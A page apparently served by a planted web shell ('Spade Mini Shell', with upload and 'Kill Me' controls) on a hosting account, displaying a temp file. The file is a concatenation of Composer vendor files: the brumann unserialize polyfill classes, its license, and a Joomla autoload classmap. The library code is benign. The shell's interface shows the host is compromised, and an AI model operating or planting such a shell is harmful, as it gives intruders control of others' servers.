Spade

Mini Shell

Directory:~$ /home/lmsyaran/.cagefs/tmp/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/.cagefs/tmp/phpCVHloY

<?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit205c915b9c7d3e718e7c95793ee67ffe::getLoader();
{
    "name": "brumann/polyfill-unserialize",
    "description": "Backports unserialize options introduced
in PHP 7.0 to older PHP versions.",
    "type": "library",
    "license": "MIT",
    "authors": [
        {
            "name": "Denis Brumann",
            "email": "denis.brumann@sensiolabs.de"
        }
    ],
    "autoload": {
        "psr-4": {
            "Brumann\\Polyfill\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\Brumann\\Polyfill\\": "tests/"
        }
    },
    "minimum-stability": "stable",
    "require": {
        "php": "^5.3|^7.0"
    }
}
MIT License

Copyright (c) 2016-2019 Denis Brumann

Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE
SOFTWARE.
<?php
namespace Brumann\Polyfill;

/**
 * Worker implementation for identifying and skipping false-positives
 * not to be substituted - like nested serializations in string literals.
 *
 * @internal This class should only be used by
\Brumann\Polyfill\Unserialize
 */
final class DisallowedClassesSubstitutor
{
    const PATTERN_STRING = '#s:(\d+):(")#';
    const PATTERN_OBJECT =
'#(^|;)O:\d+:"([^"]*)":(\d+):\{#';

    /**
     * @var string
     */
    private $serialized;

    /**
     * @var string[]
     */
    private $allowedClasses;

    /**
     * Each array item consists of `[<offset-start>,
<offset-end>]` and
     * marks start and end positions of items to be ignored.
     *
     * @var array[]
     */
    private $ignoreItems = array();

    /**
     * @param string $serialized
     * @param string[] $allowedClasses
     */
    public function __construct($serialized, array $allowedClasses)
    {
        $this->serialized = $serialized;
        $this->allowedClasses = $allowedClasses;

        $this->buildIgnoreItems();
        $this->substituteObjects();
    }

    /**
     * @return string
     */
    public function getSubstitutedSerialized()
    {
        return $this->serialized;
    }

    /**
     * Identifies items to be ignored - like nested serializations in
string literals.
     */
    private function buildIgnoreItems()
    {
        $offset = 0;
        while (preg_match(self::PATTERN_STRING, $this->serialized,
$matches, PREG_OFFSET_CAPTURE, $offset)) {
            $length = (int)$matches[1][0]; // given length in serialized
data (e.g. `s:123:"` --> 123)
            $start = $matches[2][1]; // offset position of quote character
            $end = $start + $length + 1;
            $offset = $end + 1;

            // serialized string nested in outer serialized string
            if ($this->ignore($start, $end)) {
                continue;
            }

            $this->ignoreItems[] = array($start, $end);
        }
    }

    /**
     * Substitutes disallowed object class names and respects items to be
ignored.
     */
    private function substituteObjects()
    {
        $offset = 0;
        while (preg_match(self::PATTERN_OBJECT, $this->serialized,
$matches, PREG_OFFSET_CAPTURE, $offset)) {
            $completeMatch = (string)$matches[0][0];
            $completeLength = strlen($completeMatch);
            $start = $matches[0][1];
            $end = $start + $completeLength;
            $leftBorder = (string)$matches[1][0];
            $className = (string)$matches[2][0];
            $objectSize = (int)$matches[3][0];
            $offset = $end + 1;

            // class name is actually allowed - skip this item
            if (in_array($className, $this->allowedClasses, true)) {
                continue;
            }
            // serialized object nested in outer serialized string
            if ($this->ignore($start, $end)) {
                continue;
            }

            $incompleteItem = $this->sanitizeItem($className,
$leftBorder, $objectSize);
            $incompleteItemLength = strlen($incompleteItem);
            $offset = $start + $incompleteItemLength + 1;

            $this->replace($incompleteItem, $start, $end);
            $this->shift($end, $incompleteItemLength - $completeLength);
        }
    }

    /**
     * Replaces sanitized object class names in serialized data.
     *
     * @param string $replacement Sanitized object data
     * @param int $start Start offset in serialized data
     * @param int $end End offset in serialized data
     */
    private function replace($replacement, $start, $end)
    {
        $this->serialized = substr($this->serialized, 0, $start)
            . $replacement . substr($this->serialized, $end);
    }

    /**
     * Whether given offset positions should be ignored.
     *
     * @param int $start
     * @param int $end
     * @return bool
     */
    private function ignore($start, $end)
    {
        foreach ($this->ignoreItems as $ignoreItem) {
            if ($ignoreItem[0] <= $start && $ignoreItem[1] >=
$end) {
                return true;
            }
        }

        return false;
    }

    /**
     * Shifts offset positions of ignore items by `$size`.
     * This is necessary whenever object class names have been
     * substituted which have a different length than before.
     *
     * @param int $offset
     * @param int $size
     */
    private function shift($offset, $size)
    {
        foreach ($this->ignoreItems as &$ignoreItem) {
            // only focus on items starting after given offset
            if ($ignoreItem[0] < $offset) {
                continue;
            }
            $ignoreItem[0] += $size;
            $ignoreItem[1] += $size;
        }
    }

    /**
     * Sanitizes object class item.
     *
     * @param string $className
     * @param int $leftBorder
     * @param int $objectSize
     * @return string
     */
    private function sanitizeItem($className, $leftBorder, $objectSize)
    {
        return sprintf(
           
'%sO:22:"__PHP_Incomplete_Class":%d:{s:27:"__PHP_Incomplete_Class_Name";%s',
            $leftBorder,
            $objectSize + 1, // size of object + 1 for added string
            \serialize($className)
        );
    }
}
<?php

namespace Brumann\Polyfill;

final class Unserialize
{
    /**
     * @see https://secure.php.net/manual/en/function.unserialize.php
     *
     * @param string $serialized Serialized data
     * @param array $options Associative array containing options
     *
     * @return mixed
     */
    public static function unserialize($serialized, array $options =
array())
    {
        if (PHP_VERSION_ID >= 70000) {
            return \unserialize($serialized, $options);
        }
        if (!array_key_exists('allowed_classes', $options) ||
true === $options['allowed_classes']) {
            return \unserialize($serialized);
        }
        $allowedClasses = $options['allowed_classes'];
        if (false === $allowedClasses) {
            $allowedClasses = array();
        }
        if (!is_array($allowedClasses)) {
            $allowedClasses = array();
            trigger_error(
                'unserialize(): allowed_classes option should be array
or boolean',
                E_USER_WARNING
            );
        }

        $worker = new DisallowedClassesSubstitutor($serialized,
$allowedClasses);

        return \unserialize($worker->getSubstitutedSerialized());
    }
}
<?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname(dirname($vendorDir));

return array(
    'Brumann\\Polyfill\\DisallowedClassesSubstitutor' =>
$vendorDir .
'/brumann/polyfill-unserialize/src/DisallowedClassesSubstitutor.php',
    'Brumann\\Polyfill\\Unserialize' => $vendorDir .
'/brumann/polyfill-unserialize/src/Unserialize.php',
    'CallbackFilterIterator' => $vendorDir .
'/joomla/compat/src/CallbackFilterIterator.php',
    'EasyPeasyICS' => $vendorDir .
'/phpmailer/phpmailer/extras/EasyPeasyICS.php',
    'Joomla\\Application\\AbstractApplication' => $vendorDir .
'/joomla/application/src/AbstractApplication.php',
    'Joomla\\Application\\AbstractCliApplication' =>
$vendorDir .
'/joomla/application/src/AbstractCliApplication.php',
    'Joomla\\Application\\AbstractDaemonApplication' =>
$vendorDir .
'/joomla/application/src/AbstractDaemonApplication.php',
    'Joomla\\Application\\AbstractWebApplication' =>
$vendorDir .
'/joomla/application/src/AbstractWebApplication.php',
    'Joomla\\Application\\Cli\\CliInput' => $vendorDir .
'/joomla/application/src/Cli/CliInput.php',
    'Joomla\\Application\\Cli\\CliOutput' => $vendorDir .
'/joomla/application/src/Cli/CliOutput.php',
    'Joomla\\Application\\Cli\\ColorProcessor' => $vendorDir .
'/joomla/application/src/Cli/ColorProcessor.php',
    'Joomla\\Application\\Cli\\ColorStyle' => $vendorDir .
'/joomla/application/src/Cli/ColorStyle.php',
    'Joomla\\Application\\Cli\\Output\\Processor\\ColorProcessor'
=> $vendorDir .
'/joomla/application/src/Cli/Output/Processor/ColorProcessor.php',
   
'Joomla\\Application\\Cli\\Output\\Processor\\ProcessorInterface'
=> $vendorDir .
'/joomla/application/src/Cli/Output/Processor/ProcessorInterface.php',
    'Joomla\\Application\\Cli\\Output\\Stdout' => $vendorDir .
'/joomla/application/src/Cli/Output/Stdout.php',
    'Joomla\\Application\\Cli\\Output\\Xml' => $vendorDir .
'/joomla/application/src/Cli/Output/Xml.php',
    'Joomla\\Application\\Web\\WebClient' => $vendorDir .
'/joomla/application/src/Web/WebClient.php',
    'Joomla\\Archive\\Archive' => $vendorDir .
'/joomla/archive/src/Archive.php',
    'Joomla\\Archive\\Bzip2' => $vendorDir .
'/joomla/archive/src/Bzip2.php',
    'Joomla\\Archive\\Exception\\UnknownArchiveException' =>
$vendorDir .
'/joomla/archive/src/Exception/UnknownArchiveException.php',
    'Joomla\\Archive\\Exception\\UnsupportedArchiveException'
=> $vendorDir .
'/joomla/archive/src/Exception/UnsupportedArchiveException.php',
    'Joomla\\Archive\\ExtractableInterface' => $vendorDir .
'/joomla/archive/src/ExtractableInterface.php',
    'Joomla\\Archive\\Gzip' => $vendorDir .
'/joomla/archive/src/Gzip.php',
    'Joomla\\Archive\\Tar' => $vendorDir .
'/joomla/archive/src/Tar.php',
    'Joomla\\Archive\\Zip' => $vendorDir .
'/joomla/archive/src/Zip.php',
    'Joomla\\DI\\Container' => $vendorDir .
'/joomla/di/src/Container.php',
    'Joomla\\DI\\ContainerAwareInterface' => $vendorDir .
'/joomla/di/src/ContainerAwareInterface.php',
    'Joomla\\DI\\ContainerAwareTrait' => $vendorDir .
'/joomla/di/src/ContainerAwareTrait.php',
    'Joomla\\DI\\Exception\\DependencyResolutionException' =>
$vendorDir .
'/joomla/di/src/Exception/DependencyResolutionException.php',
    'Joomla\\DI\\Exception\\KeyNotFoundException' =>
$vendorDir . '/joomla/di/src/Exception/KeyNotFoundException.php',
    'Joomla\\DI\\Exception\\ProtectedKeyException' =>
$vendorDir .
'/joomla/di/src/Exception/ProtectedKeyException.php',
    'Joomla\\DI\\ServiceProviderInterface' => $vendorDir .
'/joomla/di/src/ServiceProviderInterface.php',
    'Joomla\\Data\\DataObject' => $vendorDir .
'/joomla/data/src/DataObject.php',
    'Joomla\\Data\\DataSet' => $vendorDir .
'/joomla/data/src/DataSet.php',
    'Joomla\\Data\\DumpableInterface' => $vendorDir .
'/joomla/data/src/DumpableInterface.php',
    'Joomla\\Event\\AbstractEvent' => $vendorDir .
'/joomla/event/src/AbstractEvent.php',
    'Joomla\\Event\\DelegatingDispatcher' => $vendorDir .
'/joomla/event/src/DelegatingDispatcher.php',
    'Joomla\\Event\\Dispatcher' => $vendorDir .
'/joomla/event/src/Dispatcher.php',
    'Joomla\\Event\\DispatcherAwareInterface' => $vendorDir .
'/joomla/event/src/DispatcherAwareInterface.php',
    'Joomla\\Event\\DispatcherAwareTrait' => $vendorDir .
'/joomla/event/src/DispatcherAwareTrait.php',
    'Joomla\\Event\\DispatcherInterface' => $vendorDir .
'/joomla/event/src/DispatcherInterface.php',
    'Joomla\\Event\\Event' => $vendorDir .
'/joomla/event/src/Event.php',
    'Joomla\\Event\\EventImmutable' => $vendorDir .
'/joomla/event/src/EventImmutable.php',
    'Joomla\\Event\\EventInterface' => $vendorDir .
'/joomla/event/src/EventInterface.php',
    'Joomla\\Event\\ListenersPriorityQueue' => $vendorDir .
'/joomla/event/src/ListenersPriorityQueue.php',
    'Joomla\\Event\\Priority' => $vendorDir .
'/joomla/event/src/Priority.php',
    'Joomla\\Filesystem\\Buffer' => $vendorDir .
'/joomla/filesystem/src/Buffer.php',
    'Joomla\\Filesystem\\Clients\\FtpClient' => $vendorDir .
'/joomla/filesystem/src/Clients/FtpClient.php',
    'Joomla\\Filesystem\\Exception\\FilesystemException' =>
$vendorDir .
'/joomla/filesystem/src/Exception/FilesystemException.php',
    'Joomla\\Filesystem\\File' => $vendorDir .
'/joomla/filesystem/src/File.php',
    'Joomla\\Filesystem\\Folder' => $vendorDir .
'/joomla/filesystem/src/Folder.php',
    'Joomla\\Filesystem\\Helper' => $vendorDir .
'/joomla/filesystem/src/Helper.php',
    'Joomla\\Filesystem\\Patcher' => $vendorDir .
'/joomla/filesystem/src/Patcher.php',
    'Joomla\\Filesystem\\Path' => $vendorDir .
'/joomla/filesystem/src/Path.php',
    'Joomla\\Filesystem\\Stream' => $vendorDir .
'/joomla/filesystem/src/Stream.php',
    'Joomla\\Filesystem\\Stream\\String' => $vendorDir .
'/joomla/filesystem/src/Stream/String.php',
    'Joomla\\Filesystem\\Stream\\StringWrapper' => $vendorDir
. '/joomla/filesystem/src/Stream/StringWrapper.php',
    'Joomla\\Filesystem\\Support\\StringController' =>
$vendorDir .
'/joomla/filesystem/src/Support/StringController.php',
    'Joomla\\Filter\\InputFilter' => $vendorDir .
'/joomla/filter/src/InputFilter.php',
    'Joomla\\Filter\\OutputFilter' => $vendorDir .
'/joomla/filter/src/OutputFilter.php',
    'Joomla\\Image\\Filter\\Backgroundfill' => $vendorDir .
'/joomla/image/src/Filter/Backgroundfill.php',
    'Joomla\\Image\\Filter\\Brightness' => $vendorDir .
'/joomla/image/src/Filter/Brightness.php',
    'Joomla\\Image\\Filter\\Contrast' => $vendorDir .
'/joomla/image/src/Filter/Contrast.php',
    'Joomla\\Image\\Filter\\Edgedetect' => $vendorDir .
'/joomla/image/src/Filter/Edgedetect.php',
    'Joomla\\Image\\Filter\\Emboss' => $vendorDir .
'/joomla/image/src/Filter/Emboss.php',
    'Joomla\\Image\\Filter\\Grayscale' => $vendorDir .
'/joomla/image/src/Filter/Grayscale.php',
    'Joomla\\Image\\Filter\\Negate' => $vendorDir .
'/joomla/image/src/Filter/Negate.php',
    'Joomla\\Image\\Filter\\Sketchy' => $vendorDir .
'/joomla/image/src/Filter/Sketchy.php',
    'Joomla\\Image\\Filter\\Smooth' => $vendorDir .
'/joomla/image/src/Filter/Smooth.php',
    'Joomla\\Image\\Image' => $vendorDir .
'/joomla/image/src/Image.php',
    'Joomla\\Image\\ImageFilter' => $vendorDir .
'/joomla/image/src/ImageFilter.php',
    'Joomla\\Input\\Cli' => $vendorDir .
'/joomla/input/src/Cli.php',
    'Joomla\\Input\\Cookie' => $vendorDir .
'/joomla/input/src/Cookie.php',
    'Joomla\\Input\\Files' => $vendorDir .
'/joomla/input/src/Files.php',
    'Joomla\\Input\\Input' => $vendorDir .
'/joomla/input/src/Input.php',
    'Joomla\\Input\\Json' => $vendorDir .
'/joomla/input/src/Json.php',
    'Joomla\\Ldap\\LdapClient' => $vendorDir .
'/joomla/ldap/src/LdapClient.php',
    'Joomla\\Registry\\AbstractRegistryFormat' => $vendorDir .
'/joomla/registry/src/AbstractRegistryFormat.php',
    'Joomla\\Registry\\Factory' => $vendorDir .
'/joomla/registry/src/Factory.php',
    'Joomla\\Registry\\FormatInterface' => $vendorDir .
'/joomla/registry/src/FormatInterface.php',
    'Joomla\\Registry\\Format\\Ini' => $vendorDir .
'/joomla/registry/src/Format/Ini.php',
    'Joomla\\Registry\\Format\\Json' => $vendorDir .
'/joomla/registry/src/Format/Json.php',
    'Joomla\\Registry\\Format\\Php' => $vendorDir .
'/joomla/registry/src/Format/Php.php',
    'Joomla\\Registry\\Format\\Xml' => $vendorDir .
'/joomla/registry/src/Format/Xml.php',
    'Joomla\\Registry\\Format\\Yaml' => $vendorDir .
'/joomla/registry/src/Format/Yaml.php',
    'Joomla\\Registry\\Registry' => $vendorDir .
'/joomla/registry/src/Registry.php',
    'Joomla\\Session\\Session' => $vendorDir .
'/joomla/session/Joomla/Session/Session.php',
    'Joomla\\Session\\Storage' => $vendorDir .
'/joomla/session/Joomla/Session/Storage.php',
    'Joomla\\Session\\Storage\\Apc' => $vendorDir .
'/joomla/session/Joomla/Session/Storage/Apc.php',
    'Joomla\\Session\\Storage\\Apcu' => $vendorDir .
'/joomla/session/Joomla/Session/Storage/Apcu.php',
    'Joomla\\Session\\Storage\\Database' => $vendorDir .
'/joomla/session/Joomla/Session/Storage/Database.php',
    'Joomla\\Session\\Storage\\Memcache' => $vendorDir .
'/joomla/session/Joomla/Session/Storage/Memcache.php',
    'Joomla\\Session\\Storage\\Memcached' => $vendorDir .
'/joomla/session/Joomla/Session/Storage/Memcached.php',
    'Joomla\\Session\\Storage\\None' => $vendorDir .
'/joomla/session/Joomla/Session/Storage/None.php',
    'Joomla\\Session\\Storage\\Wincache' => $vendorDir .
'/joomla/session/Joomla/Session/Storage/Wincache.php',
    'Joomla\\Session\\Storage\\Xcache' => $vendorDir .
'/joomla/session/Joomla/Session/Storage/Xcache.php',
    'Joomla\\String\\Inflector' => $vendorDir .
'/joomla/string/src/Inflector.php',
    'Joomla\\String\\Normalise' => $vendorDir .
'/joomla/string/src/Normalise.php',
    'Joomla\\String\\String' => $vendorDir .
'/joomla/string/src/String.php',
    'Joomla\\String\\StringHelper' => $vendorDir .
'/joomla/string/src/StringHelper.php',
    'Joomla\\Uri\\AbstractUri' => $vendorDir .
'/joomla/uri/src/AbstractUri.php',
    'Joomla\\Uri\\Uri' => $vendorDir .
'/joomla/uri/src/Uri.php',
    'Joomla\\Uri\\UriHelper' => $vendorDir .
'/joomla/uri/src/UriHelper.php',
    'Joomla\\Uri\\UriImmutable' => $vendorDir .
'/joomla/uri/src/UriImmutable.php',
    'Joomla\\Uri\\UriInterface' => $vendorDir .
'/joomla/uri/src/UriInterface.php',
    'Joomla\\Utilities\\ArrayHelper' => $vendorDir .
'/joomla/utilities/src/ArrayHelper.php',
    'Joomla\\Utilities\\IpHelper' => $vendorDir .
'/joomla/utilities/src/IpHelper.php',
    'JsonException' => $vendorDir .
'/symfony/polyfill-php73/Resources/stubs/JsonException.php',
    'JsonSerializable' => $vendorDir .
'/joomla/compat/src/JsonSerializable.php',
    'PHPMailer' => $vendorDir .
'/phpmailer/phpmailer/class.phpmailer.php',
    'PHPMailerOAuth' => $vendorDir .
'/phpmailer/phpmailer/class.phpmaileroauth.php',
    'PHPMailerOAuthGoogle' => $vendorDir .
'/phpmailer/phpmailer/class.phpmaileroauthgoogle.php',
    'POP3' => $vendorDir .
'/phpmailer/phpmailer/class.pop3.php',
    'Psr\\Container\\ContainerExceptionInterface' =>
$vendorDir .
'/psr/container/src/ContainerExceptionInterface.php',
    'Psr\\Container\\ContainerInterface' => $vendorDir .
'/psr/container/src/ContainerInterface.php',
    'Psr\\Container\\NotFoundExceptionInterface' => $vendorDir
. '/psr/container/src/NotFoundExceptionInterface.php',
    'Psr\\Log\\AbstractLogger' => $vendorDir .
'/psr/log/Psr/Log/AbstractLogger.php',
    'Psr\\Log\\InvalidArgumentException' => $vendorDir .
'/psr/log/Psr/Log/InvalidArgumentException.php',
    'Psr\\Log\\LogLevel' => $vendorDir .
'/psr/log/Psr/Log/LogLevel.php',
    'Psr\\Log\\LoggerAwareInterface' => $vendorDir .
'/psr/log/Psr/Log/LoggerAwareInterface.php',
    'Psr\\Log\\LoggerAwareTrait' => $vendorDir .
'/psr/log/Psr/Log/LoggerAwareTrait.php',
    'Psr\\Log\\LoggerInterface' => $vendorDir .
'/psr/log/Psr/Log/LoggerInterface.php',
    'Psr\\Log\\LoggerTrait' => $vendorDir .
'/psr/log/Psr/Log/LoggerTrait.php',
    'Psr\\Log\\NullLogger' => $vendorDir .
'/psr/log/Psr/Log/NullLogger.php',
    'ReCaptcha\\ReCaptcha' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/ReCaptcha.php',
    'ReCaptcha\\RequestMethod' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/RequestMethod.php',
    'ReCaptcha\\RequestMethod\\Curl' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/RequestMethod/Curl.php',
    'ReCaptcha\\RequestMethod\\CurlPost' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/RequestMethod/CurlPost.php',
    'ReCaptcha\\RequestMethod\\Post' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/RequestMethod/Post.php',
    'ReCaptcha\\RequestMethod\\Socket' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/RequestMethod/Socket.php',
    'ReCaptcha\\RequestMethod\\SocketPost' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/RequestMethod/SocketPost.php',
    'ReCaptcha\\RequestParameters' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/RequestParameters.php',
    'ReCaptcha\\Response' => $vendorDir .
'/google/recaptcha/src/ReCaptcha/Response.php',
    'SMTP' => $vendorDir .
'/phpmailer/phpmailer/class.smtp.php',
    'SimplePie' => $vendorDir .
'/simplepie/simplepie/library/SimplePie.php',
    'SimplePie_Author' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Author.php',
    'SimplePie_Cache' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Cache.php',
    'SimplePie_Cache_Base' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Cache/Base.php',
    'SimplePie_Cache_DB' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Cache/DB.php',
    'SimplePie_Cache_File' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Cache/File.php',
    'SimplePie_Cache_Memcache' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Cache/Memcache.php',
    'SimplePie_Cache_MySQL' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Cache/MySQL.php',
    'SimplePie_Caption' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Caption.php',
    'SimplePie_Category' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Category.php',
    'SimplePie_Content_Type_Sniffer' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Content/Type/Sniffer.php',
    'SimplePie_Copyright' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Copyright.php',
    'SimplePie_Core' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Core.php',
    'SimplePie_Credit' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Credit.php',
    'SimplePie_Decode_HTML_Entities' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Decode/HTML/Entities.php',
    'SimplePie_Enclosure' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Enclosure.php',
    'SimplePie_Exception' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Exception.php',
    'SimplePie_File' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/File.php',
    'SimplePie_HTTP_Parser' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/HTTP/Parser.php',
    'SimplePie_IRI' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/IRI.php',
    'SimplePie_Item' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Item.php',
    'SimplePie_Locator' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Locator.php',
    'SimplePie_Misc' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Misc.php',
    'SimplePie_Net_IPv6' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Net/IPv6.php',
    'SimplePie_Parse_Date' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Parse/Date.php',
    'SimplePie_Parser' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Parser.php',
    'SimplePie_Rating' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Rating.php',
    'SimplePie_Registry' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Registry.php',
    'SimplePie_Restriction' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Restriction.php',
    'SimplePie_Sanitize' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Sanitize.php',
    'SimplePie_Source' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/Source.php',
    'SimplePie_XML_Declaration_Parser' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/XML/Declaration/Parser.php',
    'SimplePie_gzdecode' => $vendorDir .
'/simplepie/simplepie/library/SimplePie/gzdecode.php',
    'Symfony\\Component\\Yaml\\Dumper' => $vendorDir .
'/symfony/yaml/Dumper.php',
    'Symfony\\Component\\Yaml\\Escaper' => $vendorDir .
'/symfony/yaml/Escaper.php',
    'Symfony\\Component\\Yaml\\Exception\\DumpException' =>
$vendorDir . '/symfony/yaml/Exception/DumpException.php',
    'Symfony\\Component\\Yaml\\Exception\\ExceptionInterface'
=> $vendorDir .
'/symfony/yaml/Exception/ExceptionInterface.php',
    'Symfony\\Component\\Yaml\\Exception\\ParseException' =>
$vendorDir . '/symfony/yaml/Exception/ParseException.php',
    'Symfony\\Component\\Yaml\\Exception\\RuntimeException' =>
$vendorDir . '/symfony/yaml/Exception/RuntimeException.php',
    'Symfony\\Component\\Yaml\\Inline' => $vendorDir .
'/symfony/yaml/Inline.php',
    'Symfony\\Component\\Yaml\\Parser' => $vendorDir .
'/symfony/yaml/Parser.php',
    'Symfony\\Component\\Yaml\\Unescaper' => $vendorDir .
'/symfony/yaml/Unescaper.php',
    'Symfony\\Component\\Yaml\\Yaml' => $vendorDir .
'/symfony/yaml/Yaml.php',
    'Symfony\\Polyfill\\Ctype\\Ctype' => $vendorDir .
'/symfony/polyfill-ctype/Ctype.php',
    'Symfony\\Polyfill\\Php55\\Php55' => $vendorDir .
'/symfony/polyfill-php55/Php55.php',
    'Symfony\\Polyfill\\Php55\\Php55ArrayColumn' => $vendorDir
. '/symfony/polyfill-php55/Php55ArrayColumn.php',
    'Symfony\\Polyfill\\Php56\\Php56' => $vendorDir .
'/symfony/polyfill-php56/Php56.php',
    'Symfony\\Polyfill\\Php71\\Php71' => $vendorDir .
'/symfony/polyfill-php71/Php71.php',
    'Symfony\\Polyfill\\Php73\\Php73' => $vendorDir .
'/symfony/polyfill-php73/Php73.php',
    'Symfony\\Polyfill\\Util\\Binary' => $vendorDir .
'/symfony/polyfill-util/Binary.php',
    'Symfony\\Polyfill\\Util\\BinaryNoFuncOverload' =>
$vendorDir . '/symfony/polyfill-util/BinaryNoFuncOverload.php',
    'Symfony\\Polyfill\\Util\\BinaryOnFuncOverload' =>
$vendorDir . '/symfony/polyfill-util/BinaryOnFuncOverload.php',
    'TYPO3\\PharStreamWrapper\\Assertable' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Assertable.php',
    'TYPO3\\PharStreamWrapper\\Behavior' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Behavior.php',
    'TYPO3\\PharStreamWrapper\\Collectable' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Collectable.php',
    'TYPO3\\PharStreamWrapper\\Exception' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Exception.php',
    'TYPO3\\PharStreamWrapper\\Helper' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Helper.php',
   
'TYPO3\\PharStreamWrapper\\Interceptor\\ConjunctionInterceptor'
=> $vendorDir .
'/typo3/phar-stream-wrapper/src/Interceptor/ConjunctionInterceptor.php',
   
'TYPO3\\PharStreamWrapper\\Interceptor\\PharExtensionInterceptor'
=> $vendorDir .
'/typo3/phar-stream-wrapper/src/Interceptor/PharExtensionInterceptor.php',
   
'TYPO3\\PharStreamWrapper\\Interceptor\\PharMetaDataInterceptor'
=> $vendorDir .
'/typo3/phar-stream-wrapper/src/Interceptor/PharMetaDataInterceptor.php',
    'TYPO3\\PharStreamWrapper\\Manager' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Manager.php',
    'TYPO3\\PharStreamWrapper\\PharStreamWrapper' =>
$vendorDir .
'/typo3/phar-stream-wrapper/src/PharStreamWrapper.php',
    'TYPO3\\PharStreamWrapper\\Phar\\Container' => $vendorDir
. '/typo3/phar-stream-wrapper/src/Phar/Container.php',
    'TYPO3\\PharStreamWrapper\\Phar\\DeserializationException'
=> $vendorDir .
'/typo3/phar-stream-wrapper/src/Phar/DeserializationException.php',
    'TYPO3\\PharStreamWrapper\\Phar\\Manifest' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Phar/Manifest.php',
    'TYPO3\\PharStreamWrapper\\Phar\\Reader' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Phar/Reader.php',
    'TYPO3\\PharStreamWrapper\\Phar\\ReaderException' =>
$vendorDir .
'/typo3/phar-stream-wrapper/src/Phar/ReaderException.php',
    'TYPO3\\PharStreamWrapper\\Phar\\Stub' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Phar/Stub.php',
    'TYPO3\\PharStreamWrapper\\Resolvable' => $vendorDir .
'/typo3/phar-stream-wrapper/src/Resolvable.php',
    'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocation' =>
$vendorDir .
'/typo3/phar-stream-wrapper/src/Resolver/PharInvocation.php',
   
'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocationCollection'
=> $vendorDir .
'/typo3/phar-stream-wrapper/src/Resolver/PharInvocationCollection.php',
    'TYPO3\\PharStreamWrapper\\Resolver\\PharInvocationResolver'
=> $vendorDir .
'/typo3/phar-stream-wrapper/src/Resolver/PharInvocationResolver.php',
    'lessc' => $vendorDir .
'/leafo/lessphp/lessc.inc.php',
    'lessc_formatter_classic' => $vendorDir .
'/leafo/lessphp/lessc.inc.php',
    'lessc_formatter_compressed' => $vendorDir .
'/leafo/lessphp/lessc.inc.php',
    'lessc_formatter_lessjs' => $vendorDir .
'/leafo/lessphp/lessc.inc.php',
    'lessc_parser' => $vendorDir .
'/leafo/lessphp/lessc.inc.php',
    'ntlm_sasl_client_class' => $vendorDir .
'/phpmailer/phpmailer/extras/ntlm_sasl_client.php',
    'phpmailerException' => $vendorDir .
'/phpmailer/phpmailer/class.phpmailer.php',
);
<?php

// autoload_files.php @generated by Composer

